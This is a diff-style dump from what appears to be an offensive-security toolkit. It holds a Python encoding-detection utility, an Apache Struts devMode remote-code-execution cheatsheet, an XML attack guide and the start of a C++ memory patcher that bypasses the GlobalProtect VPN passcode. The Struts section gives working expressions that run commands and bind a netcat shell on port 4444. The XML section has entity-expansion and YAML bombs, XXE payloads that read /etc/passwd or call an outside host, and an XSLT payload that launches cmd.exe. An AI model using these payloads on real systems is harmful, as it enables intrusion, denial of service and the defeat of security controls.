self.encodersMap[encoder.name()] = encoder
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def log(text):
|
||||||
|
if ReEncoder.DEBUG:
|
||||||
|
print(text)
|
||||||
|
|
||||||
|
def verifyEncodings(self, encodings):
|
||||||
|
for encoder in encodings:
|
||||||
|
if type(encoder) == str:
|
||||||
|
if not encoder in self.encodersMap.keys():
|
||||||
|
raise Exception("Passed unknown encoder's name.")
|
||||||
|
elif not issubclass(ReEncoder.Encoder, encoder):
|
||||||
|
raise Exception("Passed encoder is of unknown type.")
|
||||||
|
|
||||||
|
def generateEncodingTree(self, data):
|
||||||
|
step = 0
|
||||||
|
maxSteps = len(self.encoders) * ReEncoder.MaxEncodingDepth
|
||||||
|
|
||||||
|
peeledBefore = 0
|
||||||
|
peeledOff = 0
|
||||||
|
currData = data
|
||||||
|
|
||||||
|
while step < maxSteps:
|
||||||
|
peeledBefore = peeledOff
|
||||||
|
for encoder in self.encoders:
|
||||||
|
step += 1
|
||||||
|
|
||||||
|
ReEncoder.log('[.] Trying: {} (peeled off: {}). Current form: "{}"'.format(encoder.name(), peeledOff, currData))
|
||||||
|
|
||||||
|
if encoder.check(currData):
|
||||||
|
if encoder.name() == 'None':
|
||||||
|
continue
|
||||||
|
|
||||||
|
if encoder.name().lower().startswith('base64') and (len(currData) % 4 == 0):
|
||||||
|
ReEncoder.log('[.] Unclear situation whether input ({}) is Base64 encoded. Branching.'.format(
|
||||||
|
currData
|
||||||
|
))
|
||||||
|
|
||||||
|
yield ('None', currData, True)
|
||||||
|
|
||||||
|
if encoder.name().lower().startswith('hex') and (len(currData) % 2 == 0):
|
||||||
|
ReEncoder.log('[.] Unclear situation whether input ({}) is Hex encoded. Branching.'.format(
|
||||||
|
currData
|
||||||
|
))
|
||||||
|
|
||||||
|
yield ('None', currData, True)
|
||||||
|
|
||||||
|
ReEncoder.log('[+] Detected encoder: {}'.format(encoder.name()))
|
||||||
|
|
||||||
|
currData = encoder.decode(currData)
|
||||||
|
yield (encoder.name(), currData, False)
|
||||||
|
|
||||||
|
peeledOff += 1
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
|
if (peeledOff - peeledBefore) == 0:
|
||||||
|
break
|
||||||
|
|
||||||
|
def formEncodingCandidates(self, root):
|
||||||
|
iters = [[node for node in children] for children in anytree.LevelOrderGroupIter(root)]
|
||||||
|
|
||||||
|
candidates = []
|
||||||
|
|
||||||
|
for node in iters[-1]:
|
||||||
|
name = node.name
|
||||||
|
decoded = node.decoded
|
||||||
|
|
||||||
|
ReEncoder.log('[.] Candidate for best decode using {}: "{}"...'.format(
|
||||||
|
name, decoded[:20]
|
||||||
|
))
|
||||||
|
|
||||||
|
candidates.append([name, decoded, 0.0])
|
||||||
|
|
||||||
|
return candidates
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def entropy(data, unit='natural'):
|
||||||
|
base = {
|
||||||
|
'shannon' : 2.,
|
||||||
|
'natural' : math.exp(1),
|
||||||
|
'hartley' : 10.
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(data) <= 1:
|
||||||
|
return 0
|
||||||
|
|
||||||
|
counts = Counter()
|
||||||
|
|
||||||
|
for d in data:
|
||||||
|
counts[d] += 1
|
||||||
|
|
||||||
|
probs = [float(c) / len(data) for c in counts.values()]
|
||||||
|
probs = [p for p in probs if p > 0.]
|
||||||
|
|
||||||
|
ent = 0
|
||||||
|
|
||||||
|
for p in probs:
|
||||||
|
if p > 0.:
|
||||||
|
ent -= p * math.log(p, base[unit])
|
||||||
|
|
||||||
|
return ent
|
||||||
|
|
||||||
|
def evaluateEncodingTree(self, root):
|
||||||
|
weights = {
|
||||||
|
'printableChars' : 10.0,
|
||||||
|
'highEntropy' : 4.0,
|
||||||
|
'length' : 1.0
|
||||||
|
}
|
||||||
|
|
||||||
|
candidates = self.formEncodingCandidates(root)
|
||||||
|
maxCandidate = 0
|
||||||
|
|
||||||
|
for i in range(len(candidates)):
|
||||||
|
candidate = candidates[i]
|
||||||
|
|
||||||
|
name = candidate[0]
|
||||||
|
decoded = candidate[1]
|
||||||
|
points = float(candidate[2])
|
||||||
|
|
||||||
|
ReEncoder.log('[=] Evaluating candidate: {} (data: "{}")'.format(
|
||||||
|
name, decoded
|
||||||
|
))
|
||||||
|
|
||||||
|
# Step 1: Adding points for printable percentage.
|
||||||
|
printables = sum([int(x in string.printable) for x in decoded])
|
||||||
|
printablePoints = weights['printableChars'] * (float(printables) / float(len(decoded)))
|
||||||
|
ReEncoder.log('\tAdding {} points for printable characters.'.format(printablePoints))
|
||||||
|
points += printablePoints
|
||||||
|
|
||||||
|
# Step 4: If encoder is Base64 and was previously None
|
||||||
|
# - then length and entropy of previous values should be of slighly lower weights
|
||||||
|
if name.lower() == 'none' \
|
||||||
|
and len(candidates) > i+1 \
|
||||||
|
and candidates[i+1][0].lower().startswith('base64'):
|
||||||
|
entropyPoints = ReEncoder.entropy(decoded) * (weights['highEntropy'] * 0.75)
|
||||||
|
lengthPoints = float(len(decoded)) * (weights['length'] * 0.75)
|
||||||
|
else:
|
||||||
|
entropyPoints = ReEncoder.entropy(decoded) * weights['highEntropy']
|
||||||
|
lengthPoints = float(len(decoded)) * weights['length']
|
||||||
|
|
||||||
|
# Step 2: Add points for entropy
|
||||||
|
ReEncoder.log('\tAdding {} points for high entropy.'.format(entropyPoints))
|
||||||
|
points += entropyPoints
|
||||||
|
|
||||||
|
# Step 3: Add points for length
|
||||||
|
ReEncoder.log('\tAdding {} points for length.'.format(lengthPoints))
|
||||||
|
points += lengthPoints
|
||||||
|
|
||||||
|
ReEncoder.log('\tScored in total: {} points.'.format(points))
|
||||||
|
candidates[i][2] = points
|
||||||
|
|
||||||
|
if points > candidates[maxCandidate][2]:
|
||||||
|
maxCandidate = i
|
||||||
|
|
||||||
|
winningCandidate = candidates[maxCandidate]
|
||||||
|
winningPaths = anytree.search.findall_by_attr(
|
||||||
|
root,
|
||||||
|
name = 'decoded',
|
||||||
|
value = winningCandidate[1]
|
||||||
|
)
|
||||||
|
|
||||||
|
ReEncoder.log('[?] Other equally good candidate paths:\n' + str(winningPaths))
|
||||||
|
winningPath = winningPaths[0]
|
||||||
|
|
||||||
|
ReEncoder.log('[+] Winning decode path is:\n{}'.format(str(winningPath)))
|
||||||
|
|
||||||
|
encodings = [x.name for x in winningPath.path if x != 'None']
|
||||||
|
|
||||||
|
return encodings
|
||||||
|
|
||||||
|
def process(self, data):
|
||||||
|
root = anytree.Node('None', decoded = data)
|
||||||
|
prev = root
|
||||||
|
|
||||||
|
for (name, curr, branch) in self.generateEncodingTree(data):
|
||||||
|
ReEncoder.log('[*] Generator returned: ("{}", "{}", {})'.format(
|
||||||
|
name, curr[:20], str(branch)
|
||||||
|
))
|
||||||
|
|
||||||
|
currNode = anytree.Node(name, parent = prev, decoded = curr)
|
||||||
|
if branch:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
prev = currNode
|
||||||
|
|
||||||
|
for pre, fill, node in anytree.RenderTree(root):
|
||||||
|
ReEncoder.log("%s%s (%s)" % (pre, node.name, node.decoded[:20].decode('ascii', 'ignore')))
|
||||||
|
|
||||||
|
self.encodings = self.evaluateEncodingTree(root)
|
||||||
|
ReEncoder.log('[+] Selected encodings: {}'.format(str(self.encodings)))
|
||||||
|
|
||||||
|
def decode(self, data, encodings = []):
|
||||||
|
if not encodings:
|
||||||
|
self.process(data)
|
||||||
|
else:
|
||||||
|
self.verifyEncodings(encodings)
|
||||||
|
self.encodings = encodings
|
||||||
|
|
||||||
|
for encoderName in self.encodings:
|
||||||
|
d = self.encodersMap[encoderName].decode(data)
|
||||||
|
data = d
|
||||||
|
|
||||||
|
return data
|
||||||
|
|
||||||
|
def encode(self, data, encodings = []):
|
||||||
|
if encodings:
|
||||||
|
encodings.reverse()
|
||||||
|
self.verifyEncodings(encodings)
|
||||||
|
self.encodings = encodings
|
||||||
|
|
||||||
|
for encoderName in self.encodings[::-1]:
|
||||||
|
e = self.encodersMap[encoderName].encode(data)
|
||||||
|
data = e
|
||||||
|
|
||||||
|
return data
|
||||||
|
|
||||||
|
def main(argv):
|
||||||
|
sample = '4a5451344a5459314a545a6a4a545a6a4a545a6d4a5449774a5463334a545a6d4a5463794a545a6a4a5459304a5449784a5449774a544e684a544a6b4a544935'
|
||||||
|
|
||||||
|
if len(argv) != 2:
|
||||||
|
print('Usage: reencode.py <text>')
|
||||||
|
print('Using sample: "{}"'.format(sample))
|
||||||
|
text = sample
|
||||||
|
else:
|
||||||
|
text = argv[1]
|
||||||
|
|
||||||
|
decoder = ReEncoder()
|
||||||
|
decoded = decoder.decode(text)
|
||||||
|
|
||||||
|
print('(1) DECODED TEXT: "{}"'.format(decoded))
|
||||||
|
|
||||||
|
decoded = 'FOO ' + decoded + ' BAR'
|
||||||
|
|
||||||
|
print('\n(2) TO BE ENCODED TEXT: "{}"'.format(decoded))
|
||||||
|
|
||||||
|
decoded = decoder.encode(decoded)
|
||||||
|
print('(3) ENCODED FORM: "{}"'.format(decoded))
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main(sys.argv)
|
|
@ -0,0 +1,67 @@
|
||||||
|
## Apache Struts Remote Code Execution cheatsheet
|
||||||
|
|
||||||
|
Apacje Struts is a open source framework utilizing JavaEE web applications and encouraging to employ MVC (Model View Controller) architecture.
|
||||||
|
When having the application developed in so-called **_devMode_** as set in the _struts.xml_ file:
|
||||||
|
|
||||||
|
``` <constant name="struts.devMode" value="true" />```
|
||||||
|
|
||||||
|
Then the middleware will be handling additional parameters passed to every function invocation.
|
||||||
|
|
||||||
|
### Testing for Struts devMode enabled
|
||||||
|
|
||||||
|
The most straightforward way to test for *devMode* enabled setting is to find an example JSP/WAR/JavaEE application within the server and then passed there specially crafted parameters.
|
||||||
|
The below list of commands is supported by the *devMode* in Struts:
|
||||||
|
- `debug=command`
|
||||||
|
- `debug=xml`
|
||||||
|
- `debug=console`
|
||||||
|
- `debug=browser`
|
||||||
|
|
||||||
|
There are the below most recognizeable example applications often deployed on the Tomcat webserver:
|
||||||
|
|
||||||
|
- the Struts 1:
|
||||||
|
- struts-blank
|
||||||
|
- struts-cookbook
|
||||||
|
- struts-el-example
|
||||||
|
- struts-examples
|
||||||
|
- struts-faces-example
|
||||||
|
- struts-faces-example2
|
||||||
|
- struts-mailreader
|
||||||
|
- struts-scripting-mailreader
|
||||||
|
- the Struts 2:
|
||||||
|
- struts2-blank
|
||||||
|
- struts2-rest-showcase
|
||||||
|
- struts2-mailreader
|
||||||
|
- struts2-showcase
|
||||||
|
- struts2-portlet
|
||||||
|
|
||||||
|
By choosing one of them, testing whether it exists on target web server and passing special parameters, we can assure the Struts framework has been configured to use *devMode*.
|
||||||
|
```
|
||||||
|
http://target/struts2-blank/example/HelloWorld.action?debug=command&expression=1%2b1
|
||||||
|
```
|
||||||
|
Firstly, we can see that those parameters are to be passed to the **.action** requests. Secondly, the above URL utilizes *struts2-blank* example webapplication, that may not be found on test server. In such situation one should go and test the very same parameters for actually deployed application.
|
||||||
|
|
||||||
|
There are those two most important parameters:
|
||||||
|
- `debug=command`
|
||||||
|
- `expression=<java_code>`
|
||||||
|
|
||||||
|
The *expression* parameter is where we will type our **Remote Code Execution** _payload_ .
|
||||||
|
When the above invocation will result with **2** in response body - we will be sure that the expression got evaluated, and thus the application is vulnerable to RCE.
|
||||||
|
|
||||||
|
### Utilizing RCE
|
||||||
|
|
||||||
|
Now, in order to execute one command, and get the first line out of it - there can be used the following expression:
|
||||||
|
```
|
||||||
|
?debug=command&expression=new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder('uname -a').start().getInputStream())).readLine()
|
||||||
|
```
|
||||||
|
|
||||||
|
Where we have invocation of **uname -a** command within linux boxes.
|
||||||
|
In order to drop a bind shell on the server, the following method could be leveraged:
|
||||||
|
|
||||||
|
1. Pass the command as a String array:
|
||||||
|
..`new java.lang.String[]{'/bin/nc','-l','-p','4444','-e','"/bin/bash -i"'}`
|
||||||
|
2. Invoke the above expression with the array being passed to the *ProcessBuilder*
|
||||||
|
```
|
||||||
|
?debug=command&expression=new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/nc','-l','-p','4444','-e','"/bin/bash -i"'}).start().getInputStream())).readLine()
|
||||||
|
```
|
||||||
|
|
||||||
|
After that, the *bash* shell will bind to the 4444 port.
|
|
@ -0,0 +1,221 @@
|
||||||
|
|
||||||
|
|
||||||
|
## XML Vulnerabilities
|
||||||
|
|
||||||
|
|
||||||
|
XML processing modules may be not secure against maliciously constructed data. An attacker could abuse XML features to carry out denial of service attacks, access logical files, generate network connections to other machines, or circumvent firewalls.
|
||||||
|
|
||||||
|
The penetration tester running XML tests against application will have to determine which XML parser is in use, and then to what kinds of below listed attacks that parser will be vulnerable.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### How to avoid XML vulnerabilities
|
||||||
|
|
||||||
|
Best practices
|
||||||
|
|
||||||
|
- Don't allow DTDs
|
||||||
|
- Don't expand entities
|
||||||
|
- Don't resolve externals
|
||||||
|
- Limit parse depth
|
||||||
|
- Limit total input size
|
||||||
|
- Limit parse time
|
||||||
|
- Favor a SAX or iterparse-like parser for potential large data
|
||||||
|
- Validate and properly quote arguments to XSL transformations and XPath queries
|
||||||
|
- Don't use XPath expression from untrusted sources
|
||||||
|
- Don't apply XSL transformations that come untrusted sources
|
||||||
|
|
||||||
|
(based on [Brad Hill's Attacking XML Security](https://www.isecpartners.com/media/12976/iSEC-HILL-Attacking-XML-Security-bh07.pdf))
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Billion Laughs
|
||||||
|
|
||||||
|
The [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs) attack – also known as exponential entity expansion – uses multiple levels of nested entities. Each entity refers to another entity several times, and the final entity definition contains a small string. The exponential expansion results in several gigabytes of text and consumes lots of memory and CPU time.
|
||||||
|
|
||||||
|
```
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<!DOCTYPE lolz [
|
||||||
|
<!ENTITY lol "lol">
|
||||||
|
<!ELEMENT lolz (#PCDATA)>
|
||||||
|
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
|
||||||
|
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
|
||||||
|
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
|
||||||
|
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
|
||||||
|
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
|
||||||
|
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
|
||||||
|
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
|
||||||
|
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
|
||||||
|
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
|
||||||
|
]>
|
||||||
|
<lolz>&lol9;</lolz>
|
||||||
|
```
|
||||||
|
|
||||||
|
**YAML bomb**:
|
||||||
|
|
||||||
|
```
|
||||||
|
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
|
||||||
|
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
|
||||||
|
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
|
||||||
|
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
|
||||||
|
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
|
||||||
|
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
|
||||||
|
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
|
||||||
|
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
|
||||||
|
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Quadratic Blowup
|
||||||
|
|
||||||
|
A quadratic blowup attack is similar to a [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs) attack; it abuses entity expansion, too. Instead of nested entities it repeats one large entity with a couple of thousand chars over and over again. The attack isn’t as efficient as the exponential case but it avoids triggering parser countermeasures that forbid deeply-nested entities.
|
||||||
|
|
||||||
|
If an attacker defines the entity `"&x;"` as 55,000 characters long, and refers to that entity 55,000 times inside the `"DoS"` element, the parser ends up with an XML Quadratic Blowup attack payload slightly over 200 KB in size that expands to 2.5 GB when parsed.
|
||||||
|
|
||||||
|
**genQuadraticBlowup.py**
|
||||||
|
```
|
||||||
|
#!/usr/bin/python3
|
||||||
|
|
||||||
|
NUM = 55000
|
||||||
|
|
||||||
|
def main():
|
||||||
|
entity = 'A' * NUM
|
||||||
|
refs = '&x;' * NUM
|
||||||
|
templ = '''<?xml version="1.0"?>
|
||||||
|
<!DOCTYPE DoS [
|
||||||
|
<!ENTITY x "{entity}">
|
||||||
|
]>
|
||||||
|
<DoS>{entityReferences}</DoS>
|
||||||
|
'''.format(entity=entity, entityReferences=refs)
|
||||||
|
|
||||||
|
print(templ)
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### XML External Entities expansion / XXE
|
||||||
|
|
||||||
|
An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||||
|
<!DOCTYPE foo [
|
||||||
|
<!ELEMENT foo ANY >
|
||||||
|
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||||
|
<!DOCTYPE foo [
|
||||||
|
<!ELEMENT foo ANY >
|
||||||
|
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
<?xml version="1.0" ?>
|
||||||
|
<!DOCTYPE r [
|
||||||
|
<!ELEMENT r ANY >
|
||||||
|
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
|
||||||
|
]>
|
||||||
|
<r>&sp;</r>
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||||
|
<!DOCTYPE foo [
|
||||||
|
<!ELEMENT foo ANY >
|
||||||
|
<!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>
|
||||||
|
```
|
||||||
|
|
||||||
|
Other XXE payloads worth testing:
|
||||||
|
- [XXE-Payloads](https://gist.github.com/mgeeky/181c6836488e35fcbf70290a048cd51d)
|
||||||
|
- [Blind-XXE-Payload](https://gist.github.com/mgeeky/cf677de6e7fdc05803f6935de1ee0882)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### DTD Retrieval
|
||||||
|
|
||||||
|
This case is similar to external entity expansion, too. Some XML libraries like Python's xml.dom.pulldom retrieve document type definitions from remote or local locations. Several attack scenarios from the external entity case apply to this issue as well.
|
||||||
|
|
||||||
|
```
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
|
||||||
|
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
||||||
|
<html>
|
||||||
|
<head/>
|
||||||
|
<body>text</body>
|
||||||
|
</html>
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Decompression Bomb
|
||||||
|
|
||||||
|
Decompression bombs (aka [ZIP bomb](https://en.wikipedia.org/wiki/Zip_bomb)) apply to all XML libraries that can parse compressed XML streams such as gzipped HTTP streams or LZMA-compressed files. For an attacker it can reduce the amount of transmitted data by three magnitudes or more.
|
||||||
|
|
||||||
|
```
|
||||||
|
$ dd if=/dev/zero bs=1M count=1024 | gzip > zeros.gz
|
||||||
|
$ dd if=/dev/zero bs=1M count=1024 | lzma -z > zeros.xy
|
||||||
|
$ ls -sh zeros.*
|
||||||
|
1020K zeros.gz
|
||||||
|
148K zeros.xy
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### XPath Injection
|
||||||
|
|
||||||
|
XPath injeciton attacks pretty much work like SQL injection attacks. Arguments to XPath queries must be quoted and validated properly, especially when they are taken from the user. The page [Avoid the dangers of XPath injection](http://www.ibm.com/developerworks/xml/library/x-xpathinjection/index.html) list some ramifications of XPath injections.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### XInclude
|
||||||
|
|
||||||
|
XML Inclusion is another way to load and include external files:
|
||||||
|
|
||||||
|
```
|
||||||
|
<root xmlns:xi="http://www.w3.org/2001/XInclude">
|
||||||
|
<xi:include href="filename.txt" parse="text" />
|
||||||
|
</root>
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
This feature should be disabled when XML files from an untrusted source are processed. Some Python XML libraries and libxml2 support XInclude but don't have an option to sandbox inclusion and limit it to allowed directories.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### XSL Transformation
|
||||||
|
|
||||||
|
You should keep in mind that XSLT is a Turing complete language. Never process XSLT code from unknown or untrusted source! XSLT processors may allow you to interact with external resources in ways you can't even imagine. Some processors even support extensions that allow read/write access to file system, access to JRE objects or scripting with Jython.
|
||||||
|
|
||||||
|
Example from [Attacking XML Security](https://www.isecpartners.com/media/12976/iSEC-HILL-Attacking-XML-Security-bh07.pdf) for Xalan-J:
|
||||||
|
|
||||||
|
```
|
||||||
|
<xsl:stylesheet version="1.0"
|
||||||
|
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
|
||||||
|
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
|
||||||
|
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
|
||||||
|
exclude-result-prefixes= "rt ob">
|
||||||
|
<xsl:template match="/">
|
||||||
|
<xsl:variable name="runtimeObject" select="rt:getRuntime()"/>
|
||||||
|
<xsl:variable name="command"
|
||||||
|
select="rt:exec($runtimeObject, 'c:\Windows\system32\cmd.exe')"/>
|
||||||
|
<xsl:variable name="commandAsString" select="ob:toString($command)"/>
|
||||||
|
<xsl:value-of select="$commandAsString"/>
|
||||||
|
</xsl:template>
|
||||||
|
</xsl:stylesheet>
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### SOURCES
|
||||||
|
|
||||||
|
- https://github.com/tiran/defusedxml
|
||||||
|
- https://docs.python.org/3/library/xml.html#xml-vulnerabilities
|
||||||
|
- https://www.darknet.org.uk/2014/08/xml-quadratic-blowup-attack-blow-wordpress-drupal/
|
||||||
|
- https://en.wikipedia.org/wiki/Billion_laughs_attack
|
|
@ -0,0 +1,355 @@
|
||||||
|
/*
|
||||||
|
* Global Protect VPN Application patcher allowing the
|
||||||
|
* Administrator user to disable VPN without Passcode.
|
||||||
|
*
|
||||||
|
* It does this by patching process memory and thus allowing to
|
||||||
|
* disable VPN without entering proper password.
|
||||||
|
*
|
||||||
|
* Tested on:
|
||||||
|
* GlobalProtect client 3.1.6.19
|
||||||
|
* Palo Alto Networks
|
||||||
|
*
|
||||||
|
* Mariusz B. / mgeeky, '18
|
||||||
|
**/
|
||||||
|
|
||||||
|
#include "windows.h"
|
||||||
|
#include <iostream>
|
||||||
|
#include <sstream>
|
||||||
|
#include <tlhelp32.h>
|
||||||
|
|
||||||
|
using namespace std;
|
||||||
|
|
||||||
|
#define _DEBUG
|
||||||
|
|
||||||
|
const wchar_t *processName = L"PanGPA.exe";
|
||||||
|
|
||||||
|
/*
|
||||||
|
00007FF621B7D02A | 85 C0 | test eax, eax |
|
||||||
|
00007FF621B7D02C | 78 61 | js pangpa.7FF621B7D08F |
|
||||||
|
00007FF621B7D02E | 48 8B CB | mov rcx, rbx |
|
||||||
|
00007FF621B7D031 | E8 7A 00 00 00 | call pangpa.7FF621B7D0B0 |
|
||||||
|
00007FF621B7D036 | 85 C0 | test eax, eax |
|
||||||
|
00007FF621B7D038 | 75 55 | jne pangpa.7FF621B7D08F
|
||||||
|
^--- This is byte to be patched.
|
||||||
|
*/
|
||||||
|
const BYTE patternToFind[] = {
|
||||||
|
0x85, 0xC0, 0x78, 0x61, 0x48, 0x8B, 0xCB, 0xE8,
|
||||||
|
0x7A, 0x00, 0x00, 0x00, 0x85, 0xC0
|
||||||
|
};
|
||||||
|
|
||||||
|
// jne pangpa.7FF621B7D08F
|
||||||
|
const BYTE bytesToBeReplaced[] = {
|
||||||
|
0x75, 0x55
|
||||||
|
};
|
||||||
|
|
||||||
|
// je pangpa.7FF621B7D08F
|
||||||
|
const BYTE replacingBytes[] = {
|
||||||
|
0x74, 0x55
|
||||||
|
};
|
||||||
|
|
||||||
|
struct moduleInfo {
|
||||||
|
UINT64 baseAddr;
|
||||||
|
DWORD baseSize;
|
||||||
|
};
|
||||||
|
|
||||||
|
bool alreadyPatched = false;
|
||||||
|
|
||||||
|
|
||||||
|
void dbg(const wchar_t * format, ...) {
|
||||||
|
wchar_t buffer[4096];
|
||||||
|
va_list args;
|
||||||
|
va_start (args, format);
|
||||||
|
vswprintf (buffer,format, args);
|
||||||
|
|
||||||
|
wcout << L"[dbg] " << buffer << endl;
|
||||||
|
va_end (args);
|
||||||
|
}
|
||||||
|
|
||||||
|
void msg(const wchar_t * format, ...) {
|
||||||
|
wchar_t buffer[4096];
|
||||||
|
va_list args;
|
||||||
|
va_start (args, format);
|
||||||
|
vswprintf (buffer,format, args);
|
||||||
|
|
||||||
|
MessageBoxW(NULL, buffer, L"GlobalProtectDisable", 0);
|
||||||
|
va_end (args);
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL setPrivilege(
|
||||||
|
HANDLE hToken, // access token handle
|
||||||
|
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
|
||||||
|
BOOL bEnablePrivilege // to enable or disable privilege
|
||||||
|
){
|
||||||
|
|
||||||
|
TOKEN_PRIVILEGES tp;
|
||||||
|
LUID luid;
|
||||||
|
|
||||||
|
if ( !LookupPrivilegeValue(
|
||||||
|
NULL, // lookup privilege on local system
|
||||||
|
lpszPrivilege, // privilege to lookup
|
||||||
|
&luid ) ) // receives LUID of privilege
|
||||||
|
{
|
||||||
|
printf("LookupPrivilegeValue error: %u\n", GetLastError() );
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
tp.PrivilegeCount = 1;
|
||||||
|
tp.Privileges[0].Luid = luid;
|
||||||
|
if (bEnablePrivilege)
|
||||||
|
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||||
|
else
|
||||||
|
tp.Privileges[0].Attributes = 0;
|
||||||
|
|
||||||
|
// Enable the privilege or disable all privileges.
|
||||||
|
if ( !AdjustTokenPrivileges(
|
||||||
|
hToken,
|
||||||
|
FALSE,
|
||||||
|
&tp,
|
||||||
|
sizeof(TOKEN_PRIVILEGES),
|
||||||
|
(PTOKEN_PRIVILEGES) NULL,
|
||||||
|
(PDWORD) NULL) ){
|
||||||
|
printf("AdjustTokenPrivileges error: %u\n", GetLastError() );
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED){
|
||||||
|
printf("The token does not have the specified privilege. \n");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD findProcess(const wchar_t *procname) {
|
||||||
|
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||||
|
if(hSnapshot) {
|
||||||
|
PROCESSENTRY32W pe32;
|
||||||
|
pe32.dwSize = sizeof(PROCESSENTRY32W);
|
||||||
|
|
||||||
|
if(Process32FirstW(hSnapshot, &pe32)) {
|
||||||
|
do {
|
||||||
|
if (wcsicmp(procname, pe32.szExeFile) == 0) {
|
||||||
|
return pe32.th32ProcessID;
|
||||||
|
}
|
||||||
|
} while(Process32NextW(hSnapshot, &pe32));
|
||||||
|
}
|
||||||
|
CloseHandle(hSnapshot);
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL getProcessModule(
|
||||||
|
const wchar_t * modName,
|
||||||
|
DWORD pid,
|
||||||
|
struct moduleInfo *out
|
||||||
|
) {
|
||||||
|
dbg(L"PID = %d", pid);
|
||||||
|
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid);
|
||||||
|
|
||||||
|
if(hSnapshot != INVALID_HANDLE_VALUE) {
|
||||||
|
MODULEENTRY32W me32;
|
||||||
|
me32.dwSize = sizeof(MODULEENTRY32W);
|
||||||
|
|
